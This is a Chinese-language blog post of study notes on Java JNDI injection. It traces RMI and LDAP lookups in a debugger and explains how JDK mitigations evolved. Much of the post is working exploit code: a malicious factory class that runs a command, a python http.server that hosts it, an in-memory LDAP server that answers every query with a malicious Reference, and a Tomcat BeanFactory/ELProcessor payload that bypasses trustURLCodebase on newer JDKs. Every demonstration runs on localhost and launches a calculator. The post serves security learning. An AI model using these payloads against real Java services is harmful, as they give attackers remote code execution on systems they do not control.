JAVA安全学习笔记--JNDI基础篇

JNDI篇

“从文档开始的 jndi 注入之路”

因为 jndi 的内容比较多,我们可以直接从官方文档去看。

官方文档地址:https://docs.oracle.com/javase/tutorial/jndi/overview/index.html

参考的博客:https://drun1baby.top/

0x01 什么是JNDI

根据官方文档,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。

在我们前面学习过的RMI的注册中心的注册表中,其实就是一个名字对应一个远程对象。JNDI也是这个道理。

jndi 在 jdk 里面支持以下四种服务:

  • LDAP:轻量级目录访问协议
  • 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
  • Java 远程方法调用(RMI) 注册表
  • DNS 服务

前三种都是字符串对应对象,DNS 是 IP 对应域名。

JNDI架构

JNDI 架构由一个 API 和服务提供者接口(SPI)组成。Java 应用程序使用 JNDI API 来访问各种命名和目录服务。SPI 能够透明地插入各种命名和目录服务,从而允许使用 JNDI API 的 Java 应用程序访问它们的服务。参见下图:

JNDI Architecture

JNDI的包结构

JNDI 主要是上述四种服务,对应四个包加一个主包
JNDI 接口主要分为下述 5 个包:

其中最重要的是 javax.naming 包,我便重点介绍这个包下的结构。其余的可以去官网查看。这个包里包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。

  • Context上下文:这是查找、绑定/解绑、重命名对象以及创建和销毁子上下文的核心接口。
  • Lookup 查找:您提供 lookup() 您要查找的对象的名称,它将返回绑定到该名称的对象。
  • Bindings 绑定:一个绑定是一个包含绑定对象的名称、对象类名称和对象本身的元组。
  • List 列表:它返回一个包含对象名称和对象类名称的名称枚举。
  • References:JNDI 定义了 Reference 类来表示引用。引用包含有关如何构建对象副本的信息。JNDI 将尝试将目录中查找的引用转换为它们所表示的 Java 对象,以便 JNDI 客户端感觉目录中存储的是 Java 对象。

Jndi 在对不同服务进行调用的时候,会去调用 xxxContext 这个类,比如调用 RMI 服务的时候就是调的 RegistryContext,这一点是很重要的,记住了这一点对于 JNDI 这里的漏洞理解非常有益。

有关JNDI更多的介绍可以看这位师傅的文章,感觉讲的细的不能再细了

https://www.cnblogs.com/erosion2020/p/18561646

0x02 JNDI的利用方式,代码以及漏洞

1. JNDI结合RMI

新建一个项目,这一次就省事直接将服务端和客户端写在一起了。(jdk版本记得换回8u65)

  • 首先RemoteObj 的接口以及接口的实现类和 RMI 里面都是一样的,这里就不贴了。

JNDIRMIServer.java

import javax.naming.InitialContext;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  

public class JNDIRMIServer {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  
 Registry registry = LocateRegistry.createRegistry(1099);  
 initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());  
 }  
}

JNDIRMIClient.java

import javax.naming.InitialContext;  

public class JNDIRMIClient {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  
 RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");  
 System.out.println(remoteObj.sayHello("hello"));  
 }  
}

一共有如下几个文件

image-20250921200041032

然后可以先运行JNDIRMIServer后运行Client测试一下

image-20250921200358545

成功调用。

可以看到,测试代码中服务端的rebind和客户端的lookup都是通过InitialContext来调用的。这个的中文翻译是初始上下文,其实可以理解为JNDI的一个容器。原本我们是通过注册中心的注册表绑定和查询,这里变成了对InitialContext的绑定和查询,分析到后面可以发现其实调用的还是RMI原生的方法。

RMI原生漏洞

这里的 api 虽然是 JNDI 的服务的,但是实际上确实调用到 RMI 的库里面的,这里我们先打断点调试一下,证明 JNDI 的 api 实际上是调用了 RMI 的库里原生的 lookup() 方法。

我们可以下个断点调试一下,断点下在lookup方法这里。

image-20250921201616214

可以看一眼这个InitialContext到底是什么,发现里面封装了一个Hashtable,和一些别的参数。

  • 点强制进入,跟进lookup

image-20250921201917840

又调用了一个lookup,继续跟进。

image-20250921202017433

这里 GenericURLContext 类的 lookup() 方法里面又套了一个 lookup() 方法,我们继续进去。

image-20250921202125373

进去之后发现这个类是 RegistryContext,也就是 RMI 对应 lookup() 方法的类,至此,可以基本说明JNDI 调用 RMI 服务的时候,虽然 API 是 JNDI 的,但是还是去调用了原生的 RMI 服务。

所以说,如果 JNDI 这里是和 RMI 结合起来使用的话,RMI 中存在的漏洞,JNDI 这里也会有。但这并不是 JNDI 的传统意义上的漏洞。

引用的漏洞,常规JNDI注入

  • 这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。

原理是在服务端调用了一个 Reference 对象,其与代理很像。

代码如下:

import javax.naming.InitialContext;  
import javax.naming.Reference;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  

public class JNDIRMIServer {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  
 Registry registry = LocateRegistry.createRegistry(1099);  
 // RMI  
 // initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞  
 Reference reference = new Reference("Calc","Calc","http://localhost:7777/");  
 initialContext.rebind("rmi://localhost:1099/remoteObj", reference);  
 }  
}

可以与原本对比一下:

  • 原本
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
  • 现在
 Reference reference = new Reference("Calc","Calc","http://localhost:7777/");  
 initialContext.rebind("rmi://localhost:1099/remoteObj", reference);  

原本我们是直接绑定了一个RemoteObjImpl对象。现在是先通过Reference生成一个引用,然后绑定这个引用。

这个思路有点像代理吧。我们可以看一眼Reference的构造函数。

image-20250921203047880

其实根据这里参数的factory就可以看出来,这其实很像工厂模式。但是工厂模式是要自己调用工厂类创建,这里是会JNDI自动控制对象的创建。

image-20250921210226697

即第二个参数factory就是指最后负责创建对象的类。第三个参数就是工厂类的地址。第一个参数就是被引用对象的类名。

利用方式也很简单,我们首先写一个恶意类:

public class Calc {  
    public Calc() throws Exception {  
        Runtime.getRuntime().exec("calc");  
 }  
}

将其编译为字节码后放到指定路径下(后面将路径作为factoryLocation)。

然后在指定路径下用python起一个http服务就行了。

python -m http.server 7777

然后先运行服务端,然后运行客户端。

image-20250921215156324

可以看到我们的服务端什么都没有改,并且也没有sayHello方法,但是触发了无参构造方法里的恶意代码弹出了计算器。

为什么会这样呢?我们在lookup处下个断点调试一下。

跟进几个 lookup() 方法,直到去到 RMI 的原生的 lookup(),对应的类我也在前文提及过了,是 RegistryContext

image-20250921215748388

但是注意到最后会调用一个decodeObject方法,并且此时的参数表中的var2是ReferenceWrapper_Stub。这是什么东西?我们好像并未看见它的创建流程。其实这是在绑定的时候产生的,我们先结束debug,然后断点下载rebind处重新调试。

image-20250921220220132

  • 跟进rebind

image-20250921220300048

接着跟进

image-20250921220328040

跟前面分析lookup一样,都是嵌套,接着跟进。

image-20250921220419872

注意到这里调用了一个encodeObject方法,并将var2作为参数。记住此时的var2是Reference

  • 我们跟进到encodeObject里看看

image-20250921220543323

由于var1是Reference类型,所以它创建并返回了一个ReferenceWrapper。(注意这里的var1实际上我们传入的参数是对应的var2)。然后便是执行RMI原生的rebind方法,绑定的名字没变,但是对象变成了ReferenceWrapper。可以理解为加密了一下。

这个时候我们回到前面的decodeObject,继续调试。

image-20250921221214526

这时候decodeObject想必就是解密,将其还原为Reference。我们跟进看看

image-20250921221531566

判断var1是否是RemoteReference,如果是则调用getReference方法。这个方法的效果就是将其还原成Reference。

image-20250921221906323

往下是一个比较重要的方法 getOBjectInstance(),从名字上推测这应该是一个获取对象初始化的方法。

跟进此方法,前面都是一些不重要的直接F8跳过。

image-20250921222454292

注意到这里调用了一个getObjectFactoryFromReference方法,从名字上看作用是从引用中获取factory。

跟进去看看。

image-20250921222648942

这里就直接开始尝试通过loadClass加载类了,首先尝试直接通过Name加载。跟进

image-20250921222848604

继续跟进

image-20250921222922036

这里通过forName来加载类,第二个参数为true可以看到实际上此时的类加载器是AppClassLoader,也就是先从本地找。但是本地肯定是没有的因为我们根本没放,继续跟进。

image-20250921223048054

前面没有找到的话,clas就为null,此时又会调用loadClass。只不过这一次是通过Name+codebase来找,我们也可以看到这里的codebase实际上就是我们指定的路径。这里本质上就与我之前讲的URLClassLoader加载类一样了。

  • 跟进loadClass

image-20250921224030036

发现确实是通过URLClassLoader,继续跟进。

image-20250921224103674

这里通过forName实际上便能找到了,注意到此时forName的第二个参数为true。如果我们的恶意类中是在初始化代码块static{}中写入的弹计算器,此时就会弹出计算器了。但是我们是写在无参构造函数里的。

  • 这里返回了Class对象,我们F8继续跟进。

image-20250921224814554

这里便通过newInstance来创建实例,并触发恶意类里的无参构造方法里的代码弹出计算器。

再点一下F8就弹出计算器了。

image-20250921224949543

后面的就没必要看了,我们已经利用成功了。

这就是JNDI一般的利用方式,JNDI注入。

  • 这里还有一点需要注意

image-20250921225220260

这里我们执行类加载逻辑是跑到了一个通用的类,NamingManager里面。也就是说类加载的逻辑是与容器的协议无关的,不只是RMI如此,其他的容器也是如此。

2. JDNI结合LDAP

LDAP的介绍

  • ldap 是一种协议,并不是 Java 独有的。

LDAP 全称 Lightweight Directory Access Protocol(轻量级目录访问协议) 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

LDAP 用 “目录树” 结构存储数据

  • DN(Distinguished Name,唯一标识名):每个对象的 “绝对路径”,类似文件的完整路径(如 uid=zhangsan,ou=staff,dc=company,dc=com,代表 “company.com域下,staff 组织单元里的用户 zhangsan”)。
  • DC(Domain Component,域组件):对应域名,比如 dc=company,dc=com 就是 “company.com” 这个域。
  • OU(Organizational Unit,组织单元):用于分组管理对象,类似文件夹(如 ou=staff 是 “员工组”,ou=it 是 “IT 部门组”)。

LDAP主要有两种方式获取:

  1. 直接通过LDAP软件创建
  2. 通过unboundid-ldap-sdk依赖创建内存级的LDAP

针对这两种攻击方式也不太一样。

攻击软件创建的LDAP

  • JNDILDAPServer.java
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Registry registry = LocateRegistry.createRegistry(1099);

        Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
        initialContext.rebind("ldap;//localhost:10389/cn=test,dc=example,dc=com", reference);
    }
}
  • JNDILDAPClient.java
import javax.naming.InitialContext;  

public class JNDILdapClient {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  
 RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");  
 System.out.println(remoteObj.sayHello("hello"));  
 }  
}

其实跟进流程以后可以发现与在RMI里的是一样的,只不过这里使用的是ldap的路径。

当然这种攻击方式有很大的缺陷:仅适用于目标查询路径固定可预测的情况

通过拦截器动态响应攻击内存级LDAP

这种方式需要通过unboundid-ldap-sdk依赖创建内存级的LDAP。

攻击方式也发生了很大的变化:

通过自定义的拦截器,拦截所有 LDAP 查询请求,无论目标查询哪个路径,都返回恶意Reference

这就解决了前面那种方式的缺陷,也是很多主流的JNDI注入攻击工具的逐流实现方式。

  • 在pom.xml中添加依赖:
<dependency>  
 <groupId>com.unboundid</groupId>  
 <artifactId>unboundid-ldapsdk</artifactId>  
 <version>3.2.0</version>  
 <scope>test</scope>  
</dependency>
  • LdapServer.java
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  

public class LdapServer {  
    private static final String LDAP_BASE = "dc=example,dc=com";  
 public static void main (String[] args) {  
        String url = "http://127.0.0.1:8000/#EvilObject";  
 int port = 1234;  
 try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
 config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen",  
 InetAddress.getByName("0.0.0.0"),  
 port,  
 ServerSocketFactory.getDefault(),  
 SocketFactory.getDefault(),  
 (SSLSocketFactory) SSLSocketFactory.getDefault()));  

 config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));  
 InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
 System.out.println("Listening on 0.0.0.0:" + port);  
 ds.startListening();  
 }  
        catch ( Exception e ) {  
            e.printStackTrace();  
 }  
    }  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
        private URL codebase;  
 /**  
 * */ public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
 }  
        /**  
 * {@inheritDoc}  
 * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  
 */ @Override  
 public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
 Entry e = new Entry(base);  
 try {  
                sendResult(result, base, e);  
 }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
 }  
        }  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
 System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
 e.addAttribute("javaClassName", "Exploit");  
 String cbstring = this.codebase.toString();  
 int refPos = cbstring.indexOf('#');  
 if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
 }  
            e.addAttribute("javaCodeBase", cbstring);  
 e.addAttribute("objectClass", "javaNamingReference");  
 e.addAttribute("javaFactory", this.codebase.getRef());  
 result.sendSearchEntry(e);  
 result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
 }  

    }  
}

这代码就是一个工具里用的源码,太长了我就不解释了,实现的功能就是我前面所说的。

  • LdapClient.java
import javax.naming.InitialContext;  

public class LdapClient {  
    public static void main(String[] args) throws Exception{  
        InitialContext initialContext = new InitialContext();  
 RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1234/remoteObj");  
 System.out.println(remoteObj.sayHello("hello"));  
 }  
}

实现攻击的流程依旧是走Reference动态类加载。

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

高版本JDK的绕过

8u121<=JDK版本<=8u191的绕过

做了什么修复措施?

我们将JDK版本切换到8u121,以JNDI结合RMI为例。

我们直接跟进到一个重要方法decodeObject

image-20250922182937976

前面的不做过多解释,我们的目的是要到达最后一个return,直接看到最后一个if判断:

            if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            } else {
                return NamingManager.getObjectInstance(var3, var2, this, this.environment);
            }

可以发现,在老版本的jdk中是没有这个if判断的。然后在这个版本中,会在我们调用getObjectInstance之前进行if判断,只有if判断里面三个条件都不满足才能走到正常的逻辑中。

  • 因此为了绕过这里限制,我们有三种方法:
1、令 var8为空,或者
2、令 var8.getFactoryClassLocation() 为空,或者
3、令 trustURLCodebase 为 true

对于第三种就是最简单的做法,当trustURLCodebase为真即可绕过。但是这个值默认为fasle。我们就需要考虑前两种方式绕过。

第一种,令 var8 为空,从语义上看需要 obj 既不是 Reference 也不是 Referenceable,即不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;

第二种,令 var8.getFactoryClassLocation() 返回空,即让Reference对象的 classFactoryLocation 属性为空,这个属性是我们在创建Reference引用对象的时候传入的第三参数,代表Factory类的地址,这正是我们针对低版本的利用方法,由于我们传入了一个codebase,所以它不为空直接抛出异常了;但是如果我们能找到一个本地的classpath作为Factory,那么该值便可以设置为空,这是绕过高版本 JDK 限制的关键。

简而言之,如果我们在本地代码里找到这么一个factory工厂类满足条件,就能绕过最后的这个if判断,触发NamingManager.getObjectInstance()。

当然上面的分析其实在这一个版本范围内其实没必要用到,这个点在8u191之后的版本大有用处。

绕过手法

经过分析代码的改动可以发现,增加了trustURLCodebase选项,它默认为false。这样就禁止了使用远程codebase选项。但是可以发现它仅仅是针对RMI和CORBA协议的,也就是只出现在了RMI和CORBA对象的Context类里面。针对LDAP并没有做出改动,所以我们依然可以通过前面的LDAP的手法来攻击。

这里就不再赘述了。

JDK版本>=8u191的绕过

做了什么修复措施?

在8u191以后就针对LDAP的情况进行了修复。我这里版本换成了8u201,然后从LDAP的代码一路跟进。前面的都没必要看了,直到最后的类加载loadClass方法。

image-20250922191356539

可以发现在最后的类加载环节也引入了trustURLCodebase。可以看一眼此时的trustCodebase值

image-20250922192751509

发现为fasle。这样我们之前的LDAP的攻击手法便也无法成功进行了。

怎么绕过呢?这里我们在前面就做了小剧透。

即:既然codebase用不了,那么便在本地的classpath找一个Factory类,最终也能达到创建目标对象实例的效果。

绕过手法一、利用本地恶意 Class 作为 Reference Factory

简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。

该恶意 Factory 类必须实现javax.naming.spi.ObjectFactory接口,实现该接口的 getObjectInstance() 方法。

这里我们找到的是这个org.apache.naming.factory.BeanFactory类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。由此JNDI-Exploit-Master工具第一个打rmi的选项便是对应此。

  • 我们看一眼这个类的getObjectInstance() 方法的实现。
public class BeanFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
        if (obj instanceof ResourceRef) {
            try {

                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {}

                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                Object bean = beanClass.getConstructor().newInstance(); // 实例化对象,需要无参构造函数!!

                // 从Reference中获取forceString参数
                RefAddr ra = ref.get("forceString");
                Map<String, Method> forced = new HashMap<>();
                String value;
                // 对forceString参数进行分割
                if (ra != null) {
                    value = (String)ra.getContent();
                    Class<?> paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;

                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {  // 使用逗号分割参数
                        param = param.trim();
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();  // 等号后面强制设置为setter方法名
                            param = param.substring(0, index).trim();  // 等号前面为属性名
                        } else {}
                        try {
                            // 根据setter方法名获取setter方法,指定forceString后就是我们指定的方法,但注意参数即paramTypes是String类型!
                            forced.put(param, beanClass.getMethod(setterName, paramTypes));  
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }

                Enumeration<RefAddr> e = ref.getAll();

                while (e.hasMoreElements()) {  // 遍历Reference中的所有RefAddr
                    ra = e.nextElement();
                    String propName = ra.getType();  // 获取属性名
                    // 过滤一些特殊的属性名,例如前面的forceString
                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }

                    value = (String)ra.getContent();  // 属性名对应的参数
                    Object[] valueArray = new Object[1];

                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);  // 根据属性名获取对应的方法
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);  // 执行方法,可用用forceString强制指定某个函数
                        } catch () {}
                        continue;
                    }
        // 省略
    }
}     

根据源代码的逻辑,我们可用得到这样几个信息。使用此工厂类实例化对象的类必须满足下面几个条件。

· 该类必须有无参构造方法

· 并在其中设置一个forceString字段指定某个特殊方法名,该方法执行String类型的参数

· 通过上面的方法和一个String参数即可实现RCE

恰好有javax.el.ELProcessor满足该条件!!!

攻击实现

经过我们前面的分析,我们可以通过BeanFactory类来实例化一个ELProcessor,并通过在forceString传入精心构造的字符串,最终可以达到RCE的效果。

添加依赖:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>9.0.8</version>
</dependency>

然后就是具体的payload了,其实就是JNDI-Exploit的源码:

  • JNDIBypassHighJava.java
package JDNI.Bypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端
public class JNDIBypassHighJava {
    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 1099");
        Registry registry = LocateRegistry.createRegistry( 1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
                true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
                ".newInstance().getEngineByName(\"JavaScript\")" +
                ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        System.out.println("[*]Evil command: calc");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

这里的代码涉及EL表达式的内容,也就是EL表达式注入。其实我也还没学习到那里,但是整体逻辑就是按照getObjectInstance()里的利用逻辑构造的。

  • JNDIBypassHighJavaClient.java
package JDNI.Bypass;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIBypassHighJavaClient {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:1099/Object";
        Context context = new InitialContext();
        context.lookup(uri);
    }
}

在客户端调用lookup,后面就会走到调用BeanFactory的getObjectInstance()方法,然后会实例化一个ELProcessor。通过传入构造好的参数,会将x作为属性名,将eval作为setter方法的名字。最终调用了eval方法,并利用EL表达式注入进行了命令执行。

效果如下:

image-20250922213438651

成功弹出计算器。

后续还有很多种绕过手法,但是都会涉及一些别的知识。我还是先把后面的知识学一学然后再回来完善。

参考文章

我觉得这两位师傅写的都非常好。

https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/

https://www.cnblogs.com/EddieMurphy-blogs/p/18078943

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注